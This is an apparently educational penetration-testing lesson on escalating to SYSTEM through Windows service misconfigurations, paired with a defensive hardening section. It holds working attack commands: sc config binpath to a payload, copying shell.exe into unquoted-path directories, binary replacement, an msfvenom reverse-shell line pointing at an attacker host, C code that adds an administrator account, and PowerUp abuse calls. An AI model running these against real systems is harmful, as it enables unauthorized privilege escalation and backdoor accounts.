Service Misconfigurations

Exploiting weak service permissions for SYSTEM access

Weak PermissionsUnquoted PathsBinary Replacement

What You'll Discover

🎯 Why This Matters

Windows services run with elevated privileges, often as LocalSystem. Misconfigurations in service permissions, paths, or binary locations create reliable privilege escalation paths. Service exploits are among the most common findings in real penetration tests.

🔍 What You'll Learn

  • How to identify weak service permissions using accesschk and sc
  • Exploiting unquoted service paths for DLL hijacking
  • Replacing service binaries when directories are writable
  • Modifying service configurations to execute arbitrary code

🚀 Your First Win

In the next 15 minutes, you'll understand three distinct service attack techniques and how to identify when each applies.

🔧 Try This Right Now

Search for unquoted service paths on your system:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

You'll see: Services with paths containing spaces but no quotes. These are potential unquoted service path vulnerabilities if you have write access to intermediate directories.

Skills You'll Master

✅ Core Understanding

  • Windows service architecture
  • Service access rights and permissions
  • Path parsing in Windows
  • Service startup contexts

🔍 Expert Skills

  • SERVICE_CHANGE_CONFIG exploitation
  • Binary replacement attacks
  • Unquoted path exploitation
  • Service recovery abuse

Understanding Service Misconfigurations

Windows services are background processes that start automatically or on demand. They typically run with high privileges - many as LocalSystem, the most powerful account on the machine. When service configurations are weak, you can abuse them to execute code with those elevated privileges.

Weak Service = Your Code Running as SYSTEM

Service Permission Types

Services have their own ACL with specific access rights. The dangerous ones are:

Permission Attack Vector
SERVICE_CHANGE_CONFIG Modify binary path to your payload
SERVICE_ALL_ACCESS Full control - do anything
GENERIC_WRITE Includes SERVICE_CHANGE_CONFIG
SERVICE_START Trigger service restart after modification

Attack 1: Weak Service Permissions

When you have SERVICE_CHANGE_CONFIG rights, you can modify the service's binary path to point to your payload:

# Find services with weak permissions (using Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Check specific service permissions
sc qc VulnerableService
sc sdshow VulnerableService

# Modify binary path
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Restart service (if you have SERVICE_START permission)
sc stop VulnerableService
sc start VulnerableService

# If you can't restart, wait for system reboot

Attack 2: Unquoted Service Paths

When a service path contains spaces and isn't quoted, Windows tries to find the executable by parsing the path left to right:

# Example vulnerable path:
C:\Program Files\Vulnerable App\service.exe

# Windows will try these in order:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# If you can write to C:\ or C:\Program Files\, you can create:
# C:\Program.exe (your malicious binary)

# Find unquoted paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Check write permissions on intermediate directories
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Create malicious executable named to be found first
copy shell.exe "C:\Program Files\Vulnerable.exe"

Attack 3: Writable Service Binary

If you can write to the directory containing the service executable, you can replace it entirely:

# Check if service binary directory is writable
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Replace the binary
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Restart service
sc stop VulnerableService
sc start VulnerableService

Tools and Techniques

Creating Service-Compatible Payloads

Services expect binaries that interact with the Service Control Manager. If your payload doesn't, the service will start and immediately stop - but your code still executes:

# Generate service-compatible payload with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Or use a simple wrapper that adds a user
# This C code creates a service-compatible exe:
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compile with mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

PowerUp Exploitation

PowerUp provides functions to exploit each service misconfiguration:

# For weak service permissions
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# For unquoted paths
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# For writable binaries
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk from Sysinternals

Accesschk is the definitive tool for permission analysis:

# Check services accessible by Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Check specific service
accesschk.exe -ucqv VulnerableService /accepteula

# Check directory permissions
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Download from: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Real-World Attack Scenarios

🔴 Scenario: Third-Party Software with Weak Service Permissions

A corporate workstation has legacy backup software installed. The vendor's installer created a service with weak ACLs, allowing "Authenticated Users" to modify its configuration. An attacker with any domain account can escalate to SYSTEM on any workstation with this software.

Impact: One weak service installer → SYSTEM access on hundreds of workstations

🟠 Scenario: Unquoted Path in Custom Application

A custom in-house application installs to "C:\Program Files\Company App\bin\service.exe" without quotes. An attacker who can write to "C:\Program Files\" creates "Company.exe" which executes as SYSTEM when the service restarts.

Note: This requires write access to an intermediate directory, which is rare on properly configured systems but common when administrators modify default permissions.

💡 Expert Insight

Service misconfigurations are often introduced by third-party software installers rather than Windows itself. When testing, pay special attention to non-Microsoft services. Vendors frequently prioritize functionality over security in their installation routines.

Defensive Countermeasures

Service Hardening

  • Always use quoted paths for service executables
  • Set restrictive service ACLs during installation
  • Run services with minimum required privileges (not LocalSystem when possible)
  • Use Group Managed Service Accounts (gMSA) for service accounts

Directory Protection

  • Maintain default permissions on C:\ and Program Files
  • Never grant Users or Authenticated Users write access to program directories
  • Audit file system permissions regularly with accesschk
  • Use application whitelisting to prevent unauthorized executables

Monitoring

  • Monitor service configuration changes (Event ID 7040)
  • Alert on new services being created
  • Watch for accesschk.exe or sc.exe usage patterns
  • Implement file integrity monitoring for service binaries

Frequently Asked Questions

My payload executes but the service immediately stops. What's wrong?

Services expect binaries that communicate with the Service Control Manager. Use msfvenom -f exe-service for a service-compatible payload, or accept that your code will run during the brief startup window before the service is killed.

I found an unquoted path but can't write to any intermediate directories. Is it still exploitable?

No. Unquoted paths require write access to an intermediate directory in the path. If all directories are properly protected, the misconfiguration exists but isn't exploitable. Still report it as a finding - permission changes could make it exploitable in the future.

Can I restart a service without administrative privileges?

Only if the service ACL grants you SERVICE_START and SERVICE_STOP. Check with accesschk -ucqv ServiceName. If you can't restart, wait for a system reboot or find another trigger (some services restart on crash).

🎯 Service Exploitation - Loaded!

You now know three powerful service attack techniques: weak permissions, unquoted paths, and binary replacement. These are among the most reliable privilege escalation vectors in real environments.

Weak Permissions Unquoted Paths Binary Replacement PowerUp Automation

Ready to exploit registry-based attacks →

Knowledge Validation

Demonstrate your understanding to earn points and progress

1
Chapter Question

What access right allows modifying a service's binary path?

1
Read
2
Validate
3
Complete

Ready to track your progress?

Create a free account to save your progress, earn points, and access 170+ hands-on cybersecurity labs.

Start Learning Free
Join 5,000+ hackers learning cybersecurity with hands-on labs. Create Account